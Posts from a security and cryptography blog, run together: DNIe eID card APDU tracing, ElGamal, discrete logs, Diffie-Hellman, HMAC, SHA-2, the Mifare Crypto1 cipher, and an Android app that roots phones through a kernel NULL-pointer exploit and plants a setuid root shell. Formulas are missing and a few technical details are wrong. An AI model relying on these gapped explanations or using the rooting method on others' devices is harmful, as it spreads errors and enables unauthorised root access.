• EAL4+ CC certificate for the DNIe OS issued by the CCN.
• ESIGN specifications: CWA14890-1 and CWA14890-2.

These documents show the Common Criteria certificates for the chip and the card, and the specifications of the protocol followed by the card.

Further, the Spanish Administration provides an OpenSC library in binary form, that one can use for communicating with the cards in Linux an Mac OS X. They also provide a CSP for Microsoft Windows. In the remainder of this post I'll explain my attempts at understanding how the device and the protocol work.

Everything has been done with consumer equipment on an Ubuntu 9.10 computer and using public documentation, thus everyone holding an actual DNIe should be able to reproduce these steps. Let's try to understand the details about this thing and how it communicates with our PC. We will start with the Device Authentication phase, which is the first thing that takes place when you use your eID.

Let me remind once again that I do not have access to any confidential information related to the DNIe, and therefore this is all public information. Also, I've done this analysis on my own free time sitting at home and using publicly available tools and a PCSC reader obtained from Tractis.

First things first, we need to install the drivers. To that end I followed the procedure described by the Spanish Administration in www.dnielectronico.es. Once it was working, I authenticated myself against a test website they provide at https://av-dnie.cert.fnmt.es/compruebacert/compruebacert.

The authentication process worked fine, and I was shown some information about myself taken from the digital certificate stored on the card. However, the signature test did not work and it just said "Your browser could not generate a valid signature".

Since it always annoys me when I don't know why things fail, I dove into the HTML code and saw the JavaScript they use to ask for a signature. I added a print statement to see the actual error, but it was a very concise "error: internalError" message. So my next step was to enable APDU logging in PCSCD (using the -a option ) and take a look at the communication triggered by the use of the pkcs11-tool from OpenSC.

Another way for doing it is setting the OPENSC_DEBUG environment variable to 9 and using the OpenSC log to get the APDUs. Yet another way would be using the pkcs11-spy module, but I didn't really try this one.

A quick smart card (iso7816 APDU) reminder

As you might know, part of my work involves evaluating smart card security. Therefore I'm quite familiar with the ISO7816 APDU structure and related stuff. However, it might well be that some readers never read a word about APDUs before. Let's make a fast summary with a few facts:

• Smart cards and terminals communicate through APDUs. The terminal requests an action from the card with an APDU request and the card gives a response.
• APDU requests include the following: CLA INS P1 P2 Lc <Data> <Le>. CLA and INS are identifiers of the action you request to the card. P1 and P2 are parameters, Lc is the length of the provided data and Le is the length of the expected response.
• APDU responses include the following: <Data> SW1 SW2. SW1 and SW2 form the so called status word, which gives information on whether the command succeeded or not and why.

Wow! This was fast. You can get more info from Wikipedia, or if you speak Spanish you can take a look at my former Smart card series of posts.

DNIe: Initial communication analysis

Ok, my next step was trying to determine why the signing process did not work. Is it something in my Firefox? Something in the binary driver? The card is not behaving in a correct way?

Of course to get an answer I first need to understand how the communication works. So my first attempt at it is to try to sign something using the command line tool pkcs11-tool and look at the communication. I'll try to find the PIN I enter in the log to start with...

However, this approach is fundamentally flawed. It assumes that the PIN is sent somehow in plaintext, which is actually not the case. After not understanding anything from the communication at a first glance, I decide to actually look at the specs (see link to CWA14890-1 at the beginning of this post).

It turns out the card and the terminal (PC) establish a secure channel before any further communication is performed, and therefore you are not able to see any plaintext information in the log.

Device authentication

Let's summarize what happens during the establishment of this secure/trusted channel. After receiving the Answer To Reset (ATR) from the card, the terminal sends the following APDU:


> 90 B8 00 00 11


At this point, I don't know what this command means. However, I have sent this command several times to the card and verified that the response is static. Also, it doesn't seem very important to me right now, and I'm more interested on what comes next.

UPDATE 12/04/2010: Over the weekend I have implemented the authentication protocol explained in this post and found out that this APDU returns the serial number of the card. It's important because it is used in the INTERNAL AUTHENTICATE explained below. One should use the 7 first bytes of the response as the serial number, padding them with a leading 00 byte.

After this, the device authentication process actually starts. This process is described in CWA 14980-1, but I'm going to show how it looks like here. First, the terminal (IFD from now on) issues a SELECT command to select the Master File:


> 00 A4 04 00 0B 4D 61 73 74 65 72 2E 46 69 6C 65
< 61 1B > 00 C0 00 00 1B
< 6F 19 84 0B 4D 61 73 74 65 72 2E 46 69 6C 65 85 0A 38 3F 00 00 0B FF FF FF FF FF 90 00


The above means that the terminal selects the master file by its name (Master.File) and the card responds 61 1B, which means ok, I have 1B bytes of response ready for you. Then the IFD issues a GET RESPONSE command requesting the card to send those 1B bytes.

Now, what happens next is that the card selects another file by its ID (60 1F), which turns out to contain the card certificate for the authentication process:


> 00 A4 00 00 02 60 1F
< 61 0E > 00 C0 00 00 0E
< 6F 0C 85 0A 01 60 1F 03 25 00 FF FF FF FF 90 00


This response shows that the file contains 0x325 bytes of information. The IFD reads them using the READ BINARY ISO7816 command in several chunks:


> 00 B0 00 00 F0
< 30 82 03 ... 90 00 > 00 B0 00 F0 F0
< 09 2A 86 ... 90 00 > 00 B0 01 E0 F0
< 97 94 B8 ... 90 00 > 00 B0 02 D0 55
< 2E FE C0 ... 90 00


At this point, the terminal knows the public key of the card and can verify it using the PKI set up by the Spanish authorities. Following this process, the IFD sends a couple of certificates with its own public key and the CA public key in CV (Card Verifiable) form , so that the card can verify them:


> 00 22 81 B6 04 < 4 bytes ID >
< 90 00 > 00 2A 00 AE D2 < certificate1 >
< 90 00 > 00 22 81 B6 0A < 10 bytes ID >
< 90 00 > 00 2A 00 AE D1 < certificate2 >
< 90 00


And now the card also knows the public key of the other end. They are ready to engage in an authentication process now. First the IFD sets the parameters of the authentication process, which includes identifying the keys to be used for authentication and providing the IFD serial number:


> 00 22 C1 A4 12 84 < key ID > 83 0C 00 00 00 00 < IFD Serial number >
< 90 00


And then it sends an INTERNAL AUTHENTICATE command. This commands sends a challenge to the card and the IFD serial number sent before. Then, the card will produce a digital signature over these and other values and encrypt it under the IFD's public key provided earlier in the process.


> 00 88 00 00 10 < 8 byte challenge > < IFD Serial Number >
< 61 80 > 00 0C 00 00 80
< encrypted digital signature


Inside this encrypted digital signature, the card has placed it's own 32 byte random number as well as the information provided by the IFD. The inclusion of the challenge ensures that the session is fresh and no replay is taking place. The random number sent by the card is later used to generate session keys.

At this point, the IFD can verify that the card is a valid one. This is done by verifying the digital signature received and comparing the random numbers (nonces) sent and received. If both verifications succeed, the session is fresh and the other end knows the card's private key. Therefore, assuming the card is secure enough to keep the private key private, the IFD has certainty that it's talking to a valid card.

The next step in the protocol is to authenticate the IFD itself. So far the card has proved it's validity, but the IFD has not. This is the purpose of the EXTERNAL AUTHENTICATE command. Similarly to the previous command, now the IFD sends a 32 byte random value which will be used for session key generation.

However, to assure the freshness of this command, the IFD has to request a challenge from the card and include it in the signature. So, the commands that follow now are a GET CHALLENGE command and an EXTERNAL AUTHENTICATE command:


> 00 84 00 00 08
< < 8 byte challenge > 90 00
> 00 82 00 00 80 < encrypted digital signature >
< 90 00


And now we're done. Before sending this 90 00 response, the card has verified the digital signature from the external authenticate command and compared the nonce with the one it replied to the last get challenge command.

In addition, they share two 32 byte random values, one generated by each end. These two values are only known to them, since they have been encrypted with the other end's public key, and have also been authenticated using digital signatures.

Session key generation

After the process described above, the two ends share some secret values and are able to generate shared session keys for subsequent operations.

What they do in this case, is XORing the two 32 byte values ( and respectively) to generate a shared value which is influenced in the same way by both parties. This ensures that no party has complete control over the key (and actually, as long as one of them is random, the result is also random).

Now, this value is concatenated with a constant (1) and hashed with the SHA-1 algorithm to produce what the specifications name HASH1. The same thing is done with a second constant (2) to produce HASH2.

The initial 16 bytes of each of this hashes is used as a 3DES key for the subsequent secure messaging commands. The first one is used as an encryption key and the second one is used as an authentication key (using MACs).

Future posts

This is it for this article. In the future, I want to try to reproduce this steps on my own using some scripting language and try to request a digital signature from my card.

Therefore, you can expect explanations on how secure messaging works and how a digital signature is requested to the card. This includes how to perform a card holder verification using the PIN code.

Hope you are enjoying it. Feedback is more than welcome!

Now, we are going to see how to make  use of that problem to create a public key cryptosystem. We will look at how ElGamal uses the DL problem to provide public key encryption and digital signatures. Keep on reading if you are interested!

ElGamal encryption

So we have our friends Alice and Bob wanting to communicate securely. To that end, they first agree on the public settings of the ElGamal cryptosystem. They need a finite cyclic group G to work on (such as ) and a generator for that group, g. Of course, the group G must be a group where computing discrete logarithms is infeasible. Otherwise the system will not work.

With these numbers, Alice and Bob first generate their respective key pairs. First, they generate a random element in G, which will serve as a private key: and respectively. Now, they compute the corresponding secret keys as follows:

in G

in G

And now they can publish their public keys, , without any fear. Thanks to the difficulty of solving the discrete logarithm in G, their respective private keys remain safe even though everyone knows how they were generated.

So, now our friend Alice wants to send some message m to Bob. This message is represented as an element in the group G. First, she grabs Bob's public key. Then, she generates a random number r in the same group G. With that number and Bob's public key, she computes the following cryptogram:

It is needless to say that these operations always take place in the group G. Now, when Bob receives this message he can compute m like this:

This is good news, at least Bob can recover the message knowing . But that doesn't mean that the message will be safe from everyone else.

However, since the DL problem is difficult, it turns out that recovering r from R is difficult. Therefore, it is not easy to compute from the cryptogram and then recover m. It is also difficult to compute Bob's private key from his public key, which would be another way to recover the message.

And also, since r was random, R is randomized as well as S. Thus, an attacker has no information on the structure of the message and the system seems secure under the assumption that the DL problem is hard.

Example: ElGamal encryption

Let's continue with our previous example. We take again the same group, and its generator . Alice and Bob compute their respective private and public keys:

sage: G = IntegerModRing(17627)
sage: g = G(6)
sage: g.multiplicative_order()
17626
sage: xA = G.random_element()
sage: xB = G.random_element()
sage: hA = g^xA
sage: hB = g^xB
sage: hA
11094
sage: hB
1593
sage:

So now everyone knows the public keys of Alice (11094) and Bob (1593). Now let's imagine that Alice wants to send the message m (1337) to Bob. She has to create a new random number and compute the cryptogram:

sage: r=G.random_element()
sage: R = g^r
sage: m=1337
sage: S=hB^r*m
sage: (R,S)
(4831, 8533)
sage:

Alright, now Alice sends this pair of numbers to Bob and he receives it and tries to decrypt them:

sage: mp = S/(R^xB)
sage: mp
1337
sage:

Great, it works! However, note that this is not secure against chosen ciphertext attacks and the cryptogram is easily modifiable. For instance, one could modify the decrypted message by modifying only the S part of the cryptogram:

sage: Sp = 3*S
sage: mp = Sp/(R^xB)
sage: mp
4011
sage: 3*m
4011
sage:

Here an attacker has intercepted the message and modified S to be 3S. This results in the decrypted message being 3m instead of m. However, this kind of properties becomes very useful in multiparty computations such as electronic voting schemes.

ElGamal signature scheme

Now we know how to encrypt and decrypt messages using ElGamal. Next step is to see how ElGamal approaches digital signatures. The steps for generating the key pair are the same, i.e. each participant generates a random number as their private key and then computes as their public key.

Now, given a message m, Alice will first generate a cryptographic hash H(m). Then, she picks again a random number r and computes the following things:

Note that now we used the private key for the generation of the signature. Otherwise, we would not be able to prove that the message is linked to Alice since everyone knows the public key. If S turns out to be 0, Alice has to pick a new random number and compute the signature again.

The verification of the signature is performed by Bob as follows. Bob first computes the message H(m) and then performs the following two calculations:

Due to the way in which the values R and S have been computed, the two results should be the same if the signature and the message have not been modified:

So this tells us that the system is correct, and again in order to forge a signature one would need to either find collisions in the function H (see my post on hash functions) or solve a discrete logarithm. Both problems are believed to be hard. Note that the hash collision must occur over the group G, so that .

Further reading

Once again, I refer the interested readers to the Handbook of Applied Cryptography for more extensive and accurate information on these topics. In this case, the ElGamal public key system is described in chapter 8, section 8.4.

With symmetric crypto, we could understand the concepts of diffusion and confusion without needing to dive into maths. On the other hand, here we will need to understand the problems on which the algorithms rely in order to understand how they work.

In this post, we'll see what's the Discrete Logarithm problem, why it is difficult to solve based on a simple intuition, and finally a method to solve this kind of problems. Of course it's not the only (nor the best) existing method, but in my opinion it is the simplest one to understand.

The Discrete Logarithm problem

As I said before, the Discrete Logarithm problem is formulated as follows. Given a cyclic group G with a generator g, x is called a discrete logarithm of h over this group if it satisfies the following condition:

in G

So this is the equivalent to a logarithm, but instead of computing it over the real numbers it is computed over a finite cyclic group. And now, if you don't have any background on discrete maths, coding theory and the like, you are probably asking something on these lines: what the hell does that mean?

To keep it simple, a finite cyclic group G with a generator g means that the successive powers of g (i.e ) will generate the different elements of the group. At some point, after a finite number of elements ( ) the result will cycle over to the first element (i.e. ), and this is what gives the name to the groups . Now, this value, n, is called the order of the group and is obviously also the number of elements of the group, or cardinality.

I won't go any further with the explanation of the properties of cyclic groups and all the group theory behind this. I'll just say that a simple example of finite cyclic groups is that of the integers modulo some prime number p, excluding the zero element. This groups are usually noted as , where p is our prime number and the group order is p-1.

For instance, say  we look at . Then, for this group we get that the group elements are these:

1,2,3,4,5,6

Since those are all the integers modulo 7. Now, a generator of this group would be for instance g=3. You can see that in this case the successive powers of 3 modulo 7 are:

1,3,2,6,4,5,1

And there you have that . Therefore, this is a cyclic group of order p-1=6.

Difficulty of the DL problem

Now, where is the difficulty of the DL problem? We'll just take an intuitive approach to it. When you think of a classical logarithm over the real numbers, it turns out that this is a continuous and monotonous function where if . This means that if you know the logarithm of x, and y is pretty close to it, most likely the logarithm of y will be pretty close to it as well.

But when you look at the discrete logarithm, you can see that the behavior of this problem is not as predictable as that of the logarithm function. For instance, in the example above we have that , but . Extrapolating this to big numbers, you can see that it is probably not very easy to go back from a certain power of a prime number to the exponent itself (i.e., computing the DL).

Solving Discrete Logarithms: Baby Step Giant Step

All right, now we get to look at an actual method to compute discrete logarithms. The method is called Baby Step Giant Step due to the way we approach the problem: we create a table of a few powers of our generator: this are our baby steps. Then we take our target problem, and take big steps (of the size of the generated table) downwards until we hit the table. At that point, we know how many steps we took and we can compute the actual logarithm.

But of course, all this may sound like bullshit until you see an actual example. Let's take the following problem, which uses intentionally small numbers:

Given , compute its discrete logarithm in .

Ok, let's start then. We compute a table of a given size, let's say 100 elements. I used to do it with Mathematica, but I do not have it right now so I'm using for the first time ever the Sage open source program. I advise you to install it, because it will also come handy to verify other examples (such as RSA examples) in the future.

So we start by instantiating our cyclic group, and getting a generator and our value y:

sage: G = IntegerModRing(17627)
sage: g = G(6)
sage: g.multiplicative_order()
17626
sage: y=G(8938)

Now, we build our list of 100 powers and plot it:


sage: powers = [ g^i for i in range(100) ]
sage: list_plot(powers)


Note that sage directly applies modular exponentiation since g was created as an element of the finite field we are using for this problem. Also, note that the behavior is not really predictable and after a big number it often comes a small number, but of course not always. You can observe this behavior in the plot obtained:

Ok, let's continue with our search. First, we know that our number, y, is part of the finite field, and therefore we can write it as follows:

Where of course i is a number below 100. We can further develop this equation and write it the following way:

And here it comes the magic! If you look at this equation, is actually a member of our table of powers. Further, we can compute , which is easy. Then, we can take y and multiply it by a and check if the result is on the table. In that case, it means that and we can easily compute x!

If it was not the case (which is likely), then we will have to multiply again by g as many times as we need until we hit the table. Let's call that number k. At that point, we've found that . Since we know k (it's the number of times we applied our multiplication!) and i (we take it from the table), we can compute x.

All this can be translated into the following fragment of sage commands:

sage: j=1
sage: while not y*a^j in powers: j += 1
....:
sage: j
79
sage: i = powers.index(y*a^j)
sage: i
70
sage: x=100*j+i
sage: x
7970
sage: g^x == y
True

So what you see above means that after 79 steps we have found the value at position 70 in the list. Therefore, the discrete logarithm of y in G is x=7970. After that, I compare the x-th power of g with y to be sure that the result is correct, and sage returns a True. If you happen to know a bit of Python, you can notice that it has a pretty similar syntax (but not identical).

Of course, sage also provides easier ways to do it. You can just type y.log(g) to solve the problem here:

sage: y.log(g)
7970

Closing thoughts

The method explained above is not the only one nor the most efficient. Also, as usual the explanations here do not attempt to be a 100% accurate description of the problem from a mathematical point of view (I'm not a mathematician after all) but rather to explain crypto topics in a simple way so that most people can understand it.

If you want to go further with DL problems, get accurate descriptions of it and understand other methods of solving the problem, you can resort (once again) to the Handbook of Applied Cryptography. Specially chapters 2 and 3 treat this and related subjects, covering maths background and reference problems.

I hope you are enjoying these posts and see you soon!

If you are new here, take a look at the About page to know a little more about the guy writing these lines. I'll continue talking about security, cryptography and all that weird stuff I like starting today. Stay tuned!

Basic idea

The basic idea behind digital signatures is to make use of the fact that in public key cryptography a user has a private key which is never disclosed to anyone in order to authenticate the user or messages generated by that user.

In a symmetric setting, authentication is performed using MAC or HMAC mechanisms, and at least two parties know the key used to generate those messages. Therefore, a given party could deny that he or she generated a given authenticated message, because he is not the only one who knows that key and therefore there is no proof that he did generate the message.

Of course, if only two parties know the key, and one of the parties knows that a particular message was not generated by himself, then it must come from the other party. However, in a legal dispute, there is no way to prove that and to an external observer both of the options are equally likely.

To solve that issue, digital signatures generate a sort of authentication code using a private key, never disclosed to anyone. Then, using the related public key, everyone can verify that signature and therefore be sure that the message came from that user. Since that entity is the only one knowing the private key, this sort of construction can be used to bind a user to a message and resolve any legal disputes that might arise.

Normally, you can see the digital signature generation process as some sort of encryption with a private key. On the other hand, you can imagine the signature verification (or opening) phase as a decryption using the public part of the key.

Practical usage of digital signatures

In real world, documents are usually way larger than the message length that common digital signature algorithms can handle directly. Since authenticating each chunk of a document is not very practical (asymmetric crypto is usually slooooow), in practice a cryptographic hash is computed over the document, and the hash is signed using the private key and the signature algorithm.

Then, in the verification stage, a second hash is computed and compared against the signed hash. If they match, the signature is correct and therefore the received document was created by the signing party and has not been modified.

Of course, this assumes that cryptographic hash functions behave as expected, and there are no collisions. Ohterwise, if one might find another document which produces the same hash (and thus the same signature), any legal proof that the document was created by the private key holder would be destroyed.

Therefore, choosing secure hash functions for usage within digital signatures is a crucial issue. As an example problem that arose due to the use of insecure hash functions with digital certificates, check the Hashclash project.

In subsequent posts, we well look at the discrete logarithm problem and the factorization problem. We'll also look into some public key cryptosystems, such as El-Gamal and RSA. And after that, we'll look at Elliptic Curve Cryptography. With all this, the algorithms part of this series will be considered closed and I'll move into cryptographic systems and protocols . Stay tuned!

So, what did Diffie and Hellman exactly propose? Well, let me first tell you why they wanted to change the way cryptography worked. As you know, with symmetric crypto we need a shared key between two ends communicating. This works fine and is easy to maintain when we have a few parties taking place in a communication system.

However, with the advent of global communication systems, the Internet and all that stuff you all know, this turns out to be unmanageable. A symmetric system with n users requires a unique key per pair of users, which means keys.

Therefore, the main motivation for public key cryptography is the reduction of the number of keys needed for a cryptosystem, reducing the complexity of key management. Now, how do we achieve this? Basically, Public Key Cryptography is based in the existence of two different algorithms: a public algorithm for encryption, and a private algorithm for decryption.

So, let's say you want to encrypt something for a given person. Then, you retrieve this person's public key and apply the public algorithm for encryption. You send your encrypted message to that person, and once received, they will apply the private algorithm with their private part of the key.

This implies that the public encryption algorithm, , and the private decryption algorithm are inverse operations (in order to provide the ability to recover the plaintext). Further, the computation must be easy (or inexpensive) so that it can be efficiently applied. Finally, it should be infeasible to compute the decryption part of the algorithm given the encryption part .

Trapdoor functions

So, we need a function that is easy to compute, but its inverse is difficult to compute. That's a one-way function (such as a cryptographic hash function)... but wait, we also need it to be easy to compute for the other party. So, we will add some extra component (namely a key) which makes the inverse computation easy: a trapdoor!

We'll see how to construct these kind of functions in our coming posts about different public key cryptosystems . For now, I'll only say that these functions can be constructed based on integer exponentiation modulo p or operations in Elliptic Curve groups.

Diffie-Hellman key exchange

So finally, we reach the Diffie-Hellman key exchange or key agreement. This is a protocol to jointly compute a shared key between two entities over an insecure channel, using only public data.

The DH key exchange works under the assumption that the discrete logarithm (DL) problem is difficult to solve. The DL problem is stated as follows:

Given , compute x

Where g is a generator and p is a big prime number. So, we assume that this problem is hard to solve (I'll talk about methods to solve it in my next post), and have two parties Alice and Bob who wish to communicate security. Then, Alice generates a random number modulo p-1 and computes from it. In turn, Bob does the same, generating and accordingly.

Now, Alice and Bob exchange their public part of the key and perform the computation of the shared key as:

Note that Alice and Bob are able to compute the shared key only from the public key of the other party and their own private key, which they don't disclose to anyone. Also, note that under the DL assumption it is infeasible to compute the private key of these parties from their public key.

However, here the attacker has more knowledge than in a simple DL problem, and this requires a stricter assumption: the DH assumption. The DH assumption means that we assume that given and it is hard to compute .

Note that this is different from the DL assumption, since you might be able to compute the result without going through the trouble of computing x or y individually. However, as far as I know, this problem turns out to be a difficult one at least in the groups of integers modulo some big prime number. Therefore, this guarantees the confidenciality of the key agreed by our two parties, Alice and Bob.

The Man in The Middle problem

I said this guarantees the confidentiality of the agreed key, but that's not completely true... it only does if the received public key really comes from the intended party. And since this key exchange doesn't do anything to guarantee the authenticity of the key, there is a clear man in the middle problem.

Imagine an attacker, either Eve or Mallory or whatever you like to call your attacker, sitting in the middle of the communication between Alice and Bob. This attacker is not only able to receive the communication contents, but to modify them. Then, the attacker is able to send its own public key to Alice and Bob, and keep their respective public keys for himself.

This would result in the attacker generating a secure channel between Alice and himself, and another one between Bob and himself. Whatever Alice or Bob send, he can decrypt, read and modify if he wishes.

To solve this problem, it is obvious that we need to add authentication to the key exchange. This is something that could be done with MAC or HMAC constructions as we learnt before, but then we get into a chicken and egg problem: we use the Diffie-Hellman key echange to avoid sharing a secret key, but then we want to authenticate the messages with a MAC or HMAC, which requires sharing a secret key!

This is where digital signatures, as the public key solution to authentication, will come handy. We'll see them in further posts, I think we all had enough for today .

To achieve this using symmetric cryptography, two basic mechanisms exist. The first of them, commonly referred to as Message Authentication Codes (MAC), is based on using block ciphers with a shared key between the party claiming an identity (or sending a message) and the party verifying the identity or the origin of the message.

The second one, known as Hashed Message Authentication Codes (HMAC) is based on the use of a hash function together with some shared key. In the remaining of this post, I briefly describe the basic idea behind these two ways of assuring message authentication.

Message Authentication Codes using block ciphers

A common way to authenticate messages is to use a block cipher, such as DES, in a mode of operation which makes the latest encrypted block dependent on both the key and all the previous plaintext blocks. For instance, one can think of using 3DES in CBC mode to create a MAC over a message: encrypt the message in CBC mode using 3DES with the shared key, get the last output block and attach it to your original message.

When the recipient gets the message with its MAC, it does the same operation: encrypt each block using CBC mode and takes the last block. The result is compared against the MAC attached to the message: if there is a match, the sender of the message must have known the key (unless the encryption used is broken).

Despite being one of the most popular techniques for MAC generation (if not the most popular), CBC-MAC has some security problems and other techniques exist. For instance, you can take a look at Special Publication 800-38B by NIST.

Hashed Message Authentication Codes

HMAC is a standardized way of using hash functions for authentication purposes. The idea is to incorporate the usage of a key into a hash function, in such a way that the resulting hash could not be produced without knowing the key.

The obvious choices of prefixing the message with the key or appending the key after the message before computing the hash have security problems (see Stop using unsafe keyed hashes, use HMAC by Nate Lawson). Therefore, a slightly more complex structure was invented to avoid such problems.

The HMAC construction is defined as follows:

Where opad (outer pad) is the constant 0x5c...5c and ipad (inner pad) is the constant 0x36...36. These constants, as well as the key, are of the same length as the hash function's block length.

With this, one would follow the same approach as with any MAC: compute the HMAC value for the given message, and send it attached to the message. The recipient will perform the same computation, and if it matches the one attached to the message he will conclude that the message was sent by someone who knows K (which is hopefully only the person/entity he shared it with ).

This concludes my introduction to authentication codes. If you are looking for a good security analysis on HMAC functions, wait for Nate's post because I'm sure it will be very interesting.

Note that I'll often skip the 'cryptographic' adjective throughout this series of posts, but I'll always refer to cryptographic hash functions and not to regular hash functions. And as usual, this is by no means complete but just tries to give a basic understanding of what hash functions are and how they usually look like.

I must say I never studied hash functions too deeply, so this stuff will serve as a reminder for me as well. If something is not as accurate as you'd hope for, let me know in the comments .

Cryptographic Hash functions: properties

A cryptographic hash function is defined as a series of operations over an input message of arbitrary length, producing an output of fixed length (hash or message digest) such that a change to the message would not come unadvertised. It should be easy to compute a hash function from a message, but given a hash value it should be infeasible to find a message that would produce that value. Further, given a message it should be infeasible to find a second message producing the same message digest and as I stated before, it should be infeasible to modify a message without modifying its hash value.

Therefore, the desired properties of a cryptographic hash function are as follows:

• Preimage resistance: given a hash value h, it should be infeasible to find a message m with h=hash(m). Otherwise the function would be vulnerable to preimage attacks
• Second preimage resistance: given a message it should be infeasible to find a second message, which provides the same message. I.e., given , it should be difficult to find such that . Otherwise, the function is said to be vulnerable to second preimage attacks.
• Collision resistance: It should be difficult to find two messages with the same message digest. Obviously, given a hash function with output size of n bits, if you try messages, you'll get two of them with the same hash. The theory behnd birthday attacks tells us that for a n bit hash function we'd have to try out about inputs to find a collision. That number is called the birthay bound.

Typical structure of a hash function

A hash function typically consists of a compression function which takes blocks of a fixed length as input and produced blocks of a fixed length (the output length of the hash function). Additionally, the output of the previous block is fed back to the input so that the next block depends in all the previous blocks. Otherwise, the hash function would be looking at the last block only

Merkle-Damgard construction

The structure shown is known as the Merkle-Damgård construction, and most popular hash functions are based on this construction. However, alternative structures exist and many of the proposals for the SHA-3 contest are based on different constructions.

The SHA-2 family

Although MD5 and SHA-1 are way more popular, I decided to take a look and describe here the structure of the SHA-2 family of hash functions. The reason for this is that MD5 was broken a while ago, first by dr. Wang's team and later by a group of researchers including dr. Benne de Weger. I already talked about it here, although it's only in Spanish. You can see the hashcalc project's page if you don't read Spanish .

Further, SHA-1 is very similar to MD5 and the same sort of problems usually apply to it. Therefore, I chose to look at the next family of hash functions, the SHA-2 family. This includes several hash functions with different output lengths: SHA-224, SHA-256, SHA-384, and SHA-512 where the number defines the number of output bits.

SHA-256 and SHA-512 use 32 and 64 bit words respectively, while SHA-224 and SHA-384 are just truncated versions of them. In the remaining of this section I'll explain SHA-256 since SHA-512's structure is basically the same but with different word size and initial values.

Bascially, the input message is divided in 512 bit blocks , and is padded with additional information that includes the length of the original message. Then, for each of these blocks a message schedule is run which produces 64 variables .

These 64 variables are processed with the compression function shown in this picture, where variables a..f are initialized according to the standard:

SHA-2 Compression function

After this processing, the intermediate hash value is computed as the addition (modulo 32) of the variables a..f and the previous intermediate hash value. This process is run for each message block and finally yields the message digest.

Of course, this is a very high level description of the algorithm. If you want to know the details, see the FIPS 180-2 standard publication.

The SHA-3 contest

Currently, an open contest is being held by the NIST to create a new hashing standard, SHA-3. Currently, the contest is in its second round and there are 14 second round candidates. The Second SHA-3 Candidate Conference is planned for August 2010 and the idea is to publish a revised Hash Function Standard by 2012.

More information on the contest and the submissions can be found in the NIST Hash competition website.

We won't talk about the protocol details, nor about how the published attacks work. You'll find a couple of interesting links at the end though .

Note: Images obtained from the papers linked at the end of the post.

The Crypto1 cipher

Crypto1 is a proprietary stream chiper from NXP found in the RFID tags from the Mifare Classic family. At first, it was studied by Karsten Nohl reverse engineering the chip itself. This information was published in the CCC 07, although not many details about the cipher were published.

In parallel, the Radboud Universiteit from Nijmegen was studying this kind of cards and with the help of the information published at CCC completely reverse engineered the cipher and published the details. Let's see how it works then...

Crypto1 is an LFSR based cipher, which uses just an LFSR with a linear feedback function and a filter function to generate the output stream (keystream):

Crypto1 - Overall structure

The overall structure of the cipher was revealed in the presentation at CCC, but the generating polynomian (the feedback function used by the LFSR) and the filter function was not. The generating polynomial, published by Karsten Nohl et al at Usenix'08, is as follows:

This means that bits 43,39,38...,7,6,5,0 are used to create the new bit that will be shifted into the register. Further, the input bit is used and a XOR of all them is executed to generated the next bit. This polynomial is primitive: irreducible and generates all the possible states before cycling back to the initial state.

On the other hand,the filter functions were published by the people from RU Nijmegen at Esorics'08. The following picture shows those filter functions together with the rest of the cipher.

Crypto1 - Detailed structure

Each of the hexadecimal numbers identifying the filter functions should be read as a bitmap where the left-most bit will be produced as an output of the filter function when the input was all-ones while the right-most bit will be produced as an output when the input was all-zero. For instance, 0x26c7 in binary form would be:

0010 0110 1100 0111

Which means that for inputs (1,1,1,1), (1,1,1,0), (1,1,0,0), (1,0,0,1), (0,1,1,0), (0,1,0,1)  and (0,1,0,0) the result of the filter function would be 0, and 1 otherwise.

Links

This completes the description of the Crypto1 cipher used by Mifare Classic chips. I don't want to get into more details about the structure of the cipher and the protocol, because I didn't look at it in depth amongst other reasons, so for more information you can follow these links:

Reverse-Engineering a Cryptographic RFID Tag - Karsten Nohl et al. Usenix'08

Dismantling MIFARE Classic - Flavio D. Garcia et al. (RU Nijmegen). Esorics'08

Lecture on Mifare Classic from HW and OS Security course at RU Nijmegen

I tried it on my Hero with the latest HTC update, but it should work with any Android system with a kernel version up  to 2.6.30.4. If you give it a try, give me feedback!

The application: Rooter

To assist myself in the rooting process I modified the FlashRec application by Christopher Lais, which uses an exploit for a NULL pointer dereference vulnerability in the Linux kernel (<= 2.6.30.4) in order to obtain backups of the flash memory and to flash new custom ROMs.

In my case, I removed most of FlashRec's code and only left there the stuff that was needed for my application: a couple of buttons and a TextView to show information about the result of the process.

Rooter

The Create rootshell button creates a setuid root shell in /system/bin/rootsh which you can use from the terminal, while the Extract SuperUser button extracts a Superuser.apk tool and an implementation of su to their respective directories. These applications are also from Christopher Lais I believe, and I didn't check their source code although I tried them out on the emulator and everything seems to be fine. As usual, all this comes without any warranty .

From then on, an Intent (a message between Android's applications) will be sent to the Superuser.apk application each time a root request is performed using su. So, the user will be able to Allow once or always the requesting app. or to deny once or always.

Installing and running Rooter

Installing the application cannot be easier. Since I didn't upload it into the Market because I have no interest at all on doing so, you can download it from here and store it in your phone's SD card (I'm assuming you know how to ). Once that's done, install a file manager if you don't have one yet. For instance Linda File Manager is available for free from the Market.

Using Linda File Manager, go to your SD card and find the Rooter.apk file. Clicking on it, choose to open it with Package Installer. At this point, it is possible that you need to enable the option to allow installation of apps from unknown sources in Settings > Application settings > Unknown sources.

Once enabled, accept and go back to Linda File Manager by pressing Back in your phone. Once there you can click again on Rooter.apk and now you will be able to install it. Once it's installed, press Open and the application will be launched. The only step left is to press Extract SuperUser and you'll have your Hero rooted. Now you can install applications that require root access such as Wifi theter .

Easy, isn't it?

Source code

For the curious reader, I've also uploaded the source code of the application here.

First things first, the HTC Hero is a smartphone from HTC running a modified Android OS. It has a customized UI by HTC, multi-touch screen and browser with built-in flash support. Here is a small summary of the specifications:

• Processor: Qualcomm MSM7200A, 528 MHz
• Memory: 512 MB ROM and 288 MB RAM
• Quad-Band GSM/GPRS/EDGE and HSPA/WCDMA network connectivity
• GPS, Wi-Fi IEEE 802.11 b/g, Bluetooth
• Camera 5 Mpixel
• ...

Android development

Android provides a Java API for application development. Applications are normally implemented in Java, although it is possible to run ELF binaries compiled for ARM since it runs a Linux kernel. You can find all the documentation you need to start developing for the Android in http://developer.android.com/.

With the Hero, as with any other Android device I know of, you can enable USB debugging for development and use the tools in the Android SDK to connect to the device, upload applications and run them. Furthermore, the SDK provides an Eclipse plugin that makes it certainly easy to manage. You just press 'run as Android application' and it will run in your phone or in an emulator if no phone is connected.

However, the adb shell commands provides you a shell under the shell user and there is no way to get root.

Getting root shell access in my Hero

Didn't you say no way? Well... that's why it's written in italics . Looking around I found references and howtos for rooting the Hero using the fastboot utility and flashing a recovery image into the phone. However I didn't have the sources used for creating this image so I decided to hold this for a while until I could actually look what was in there.

